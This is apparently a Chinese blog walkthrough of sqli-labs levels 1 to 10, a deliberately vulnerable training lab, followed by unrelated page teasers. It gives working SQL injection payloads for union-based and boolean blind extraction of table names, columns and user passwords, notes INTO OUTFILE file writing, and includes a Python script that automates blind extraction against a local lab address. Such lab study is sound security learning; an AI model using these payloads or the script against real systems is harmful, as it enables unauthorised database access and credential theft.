sqli-labs修炼【1-10】

摘要:本篇是关于sqli-labs第1到第10关的闯关记录

Less-1

  • 单引号闭合,有错误提示,有查询返回点

根据什么来判断是否存在注入呢?我们输入id=1返回正常,并查询出了相关结果,当我们的id=1'时,返回不正常,显示有语法错误,此时,我们假定后端的SQL语句是这样的SELECT * FROM xxx WHERE id ='1''也就是说,我们假定它是以单引号闭合的,而多出来的单引号造成了报错,那么我们需要来验证我们的假设。

验证假设我们可以用id=1'--+在url框里面,--+编码后就是#注释符,但注意在post注入时没有url编码,--+是没有用的;所以--+会注释掉后面的'(单引号),若不会报错,则说明我们假设正确。并据此推断出SQL语句的闭合方式。

根据我们前面介绍的MySQL的相关前提来构造畸形的SQL语句,来达到我们的目的。

先用order by找出字段数

payload:

?id=1' order by 1 --+

?id=1' order by 2 --+

?id=1' order by 3 --+

?id=1' order by 4 --+

image

image

order by本意在有多个结果的时候,根据order by后的字段进行某种排序(加参数),根据mysql的官方文档

select_expr [, select_expr …] [FROM table_references 
[WHERE where_condition] 
[GROUP BY {col_name | expr | position} [ASC | DESC], … [WITH ROLLUP]] [HAVING where_condition] 
[ORDER BY {col_name | expr | position} [ASC | DESC], …]

数字代表位置索引,order by 3也即意为以第三个字段排序;当我们order by 4的时候,报错,表名没有该列,也意味着表中只有三列。

接下来找出回显位置

payload: ?id=0' union select 1,2,3 --+

image

union将两个SQL语句连接,这里要注意id是等于0的,前一个SQL会出错,因为没有id是等于0的,所以将会执行union后的SQL语句,暴露出了两个回显的位置。

爆表爆字段爆值

payload:

?id=0' union select 1,datebase(),3--+

?id=0'union select 1,2,group_concat(table_name) from information_schema.columns where table_schema=database()--+

?id=0'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

?id=0'union select 1,group_concat(username),group_concat(password) from security.users
--+

MySQL基础那篇提到过database()表示当前数据库

image

group_concat()将结果郑赫整合在一起,因此可以返回所有的结果,这里有个细节;查询出来的结果可以看出只有四个表,是有重复的,但是每个表名重复的个数又不尽相同,这是为什么呢?其实这暴露了每个表的字段数,可以查看information_schema.columns的结构,在结合我们的SQL语句,就很明了了。

image
image
image

Less-2

  • 无需引号闭合,有错误提示,有查询返回点

每一步与第一关类似,只是无需引号闭合

image

Less-3

  • 单引号+括弧闭合,有错误提示,有查询返回点

每一步与第一关类似,闭合方式为单引号+括弧

image

Less-4

  • 双引号+括弧闭合,有错误提示,有查询返回点

每一步与第一关类似,闭合方式为双引号+括弧

image

Less-5

  • 单引号闭合,有错误提示,无查询返回点

正式进入盲注了,要像对待第一关一样认真,搞明白,后面的关卡才可以举一反三。盲注只会告诉我们“是”或“不是”,因此可以按照下面的步骤进行手注。

找出闭合方式

我们的第一步要找出是否存在注入漏洞,找出闭合方式,判断闭合方式,我们前面给出了方法,但其实是武断的,随着学习的深入,这里给出更为可靠的判断方法。(还需要认识要用到的截取函数,可以参考这篇文章

?id=1' and 1=1 --+

?id=1' and 1=2 --+

为什么说前面给的方法武断呢?这是因为,在SQL语法中,引号是可以包含的,单引号可以包含在双引号中,我们payload如:?id=1' --+,回显正常,如果按照最初的方法,我们会认为这里的闭合方式就是单引号闭合,而实际上,,当闭合方式为双引号闭合时,因为单引号可以被包含在双引号中,也会回显正常。

而当前这种方式的时候,如果确实为单引号闭合,and 1=1and 1=2会被当作SQL语句处理,那么两条语句返回肯定是不同的。如果是双引号闭合,因为and后的语句不会被认为是SQL语句,而是普通的字符串,则返回相同。

爆数据库名

payload:

?id=1' and substr(database(),1,1)='s'--+

image

substr(database(),x,y)函数表示从x(从1开始)截取y个database()(当前数据库名字)的字符。以此类推,可以遍历出当前数据库的名字

爆表的个数;爆表名称字符串长度,进而爆出表的名称

payload

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4
--+

?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=6
--+

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
--+

image

这里,先看substr函数里面的部分,select语句查询当前数据库中的表,又使用limit函数来限定返回第1个(我们第一步爆出表的个数在这里就有用了),substr获得这个表的名称,length函数再获得它的长度,以此类推最后便可以判断出该表名称中字符的个数。

image

在这里,select语句查找数据库中的表,使用limit限制从第0个(即第一个)开始,有用substr截取从第一个开始一个字符,拿这个字符与e作比较。我们可以通过修改limit后的0和substr三个参数中第二个参数:1来进行遍历,从而获得所有的标的名称。因为我们已经知道第一个表为emails第一个字符为e所以它显示“you are in ......”

image

爆字段个数;爆字段名称字符串长度,进而爆出字段名称

可以参考前面爆表名称的时候的步骤,做到举一反三。

payload:

?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2
--+

?id=1' and length(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=2
--+

?id=1' and (substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))='i'
--+

image
image
image

手注是十分十分累的,交给Python吧,下面的脚本是我按照上面的思路写的,一个很辣鸡的面向过程的思路;(ps:直接运行会直接让服务器崩掉的,所以查询出来的结果是没有后半截的,建议理解了后进行修改,只跑单个表,减缓服务器的压力;另外,ip地址:192.168.137)

#!/bin/usr/python3
#-*- coding: utf-8 -*-

import requests

url = "http://192.168.137.75/sqli-labs/Less-5/"
IN = len(requests.get(url+'?id=1').text)
OUT = len(requests.get(url+'?id=0').text)
DATABASE = ''
table = ''
TABLES = []
COLUMNS = []

def fDatabse():
    global DATABASE
    for i in range(1,20):
        for j in range(97,122):#都是小写的,97到122足矣
            payload = "?id=1' and substr(database(),"+str(i)+",1)='"+chr(j)+"'--+"
            # print url+payload
            if(len(requests.get(url+payload).text)==IN):
                #print chr(j)
                DATABASE = DATABASE+chr(j)
                break
        if(len(requests.get(url+"?id=1' and substr(database(),"+str(i)+",1)=''--+").text)==IN):
            break#测试可节省一半以上时间

def fTables():
    global TABLES
    global table
    table_name = ''
    tables_number = 0
    table_length = []

    for i in range(10):
        payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = database())=%d--+" % (i)
        if(len(requests.get(url+payload).text)==IN):    #我要是会面向对象该多好,这里一定省很多力
            tables_number = i
            break
    #打印数据表的长度
    print(tables_number)

    for i in range(tables_number):
        for j in range(20):
            payload = "?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),1))=%d--+" % (i,j)          
            #print(url+payload)
            if(len(requests.get(url+payload).text)==IN):
                table_length.append(j)
                break
    #打印出数据表的长度的列表
    print(table_length)

    for i in range(tables_number):
        for k in range(table_length[i]+1):
            for j in range(97,124):
                payload = "?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)='" % (i,k) 
                payload = payload + chr(j)+ "'--+" 
                #print(payload)
                if(len(requests.get(url+payload).text)==IN):
                    table_name = table_name+chr(j)
                    break
        TABLES.append(table_name)
        table_name = ''
    print(TABLES)

def fColumns():
    flag = 0
    columns_number = []
    column_name = ''
    global COLUMNS
    print(TABLES[1])
    for i in TABLES:
        for j in range(1,12):
            payload = "?id=1' and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (i,j)
            #print(payload)
            if(len(requests.get(url+payload).text)==IN):
                columns_number.append(j)    #表中的字段的个数
    for i in range(len(TABLES)):            # 作为表的个数
        for j in range(int(columns_number[i])): #j就是每个表中的列的个数
            for k in range(1,10):               #k作为字段的长度,我们没有判断,按20算最长,配合break,
                for l in range(95,123):     #l作ascii码索引
                    payload = "?id=1' and (substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))='%s'" % (TABLES[i],j,k,chr(l))
                    print(url+payload+"--+")
                    if(len(requests.get(url+payload+"--+").text)==IN):
                        column_name = column_name+chr(l)
                    if(len(requests.get(url+payload[:-1]+"' ' --+").text)==IN):
                        print(url+payload+"--+")
                        flag  = 1
                        break
                if(flag==1):
                    flag = 0
                    break

            COLUMNS.append(column_name)
            column_name = ''
    print(COLUMNS)

fTables()
fColumns()

Less-6

  • 双引号闭合,有错误提示,无查询返回点

参照第五关,需将闭合方式改为双引号闭合

Less-7

  • 单引号+括弧+括弧闭合,无错误提示,无查询返回点

可以通过盲注的思路通关,但是这里提示要用outfile
SELECT ... INTO OUTFILE将语句结果集写入到文件中,也就是说让我们练习使用这个语句向服务器后台写文件,第七关是不会直接显示错误提示信息的,通过对前面第五关的测验,发现问题所在,其中1,2,3数字的位置可以替换为我们的SQL语句,将需要的信息写入后台的文件后再访问该文件查看

image
image

Less-8

  • 单引号闭合,无错误提示,无查询返回点

真正意义上的盲注,不过方法还是相同的

image

Less-9

  • 时间盲注,暂pass

Less-10

  • 时间盲注
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,324评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,356评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,328评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,147评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,160评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,115评论 1 296
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,025评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,867评论 0 274
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,307评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,528评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,688评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,409评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,001评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,657评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,811评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,685评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,573评论 2 353

推荐阅读更多精彩内容

  • pyspark.sql模块 模块上下文 Spark SQL和DataFrames的重要类: pyspark.sql...
    mpro阅读 9,451评论 0 13
  • less-1 这一题是get型注入,先用单引号,双引号,来判断是否存在注入点。 可以看到报错信息中' '1' ' ...
    Emily0917阅读 948评论 0 0
  • less-1&2 一打开就来了一句"Please input the ID as parameter with n...
    l0st阅读 4,190评论 0 1
  • less-1 输入单引号后报错,根据报错信息,可以确定输入参数的内容被存放到一对单引号中间 爆表:用到语句:id=...
    lokisteven阅读 3,165评论 0 4
  • 简书钻和简书贝,我一直没搞懂它们的价值,有看到简书钻下面约等于人民币127.46,内心还是满开心的,可不知道如何花...
    禧珍阅读 736评论 1 4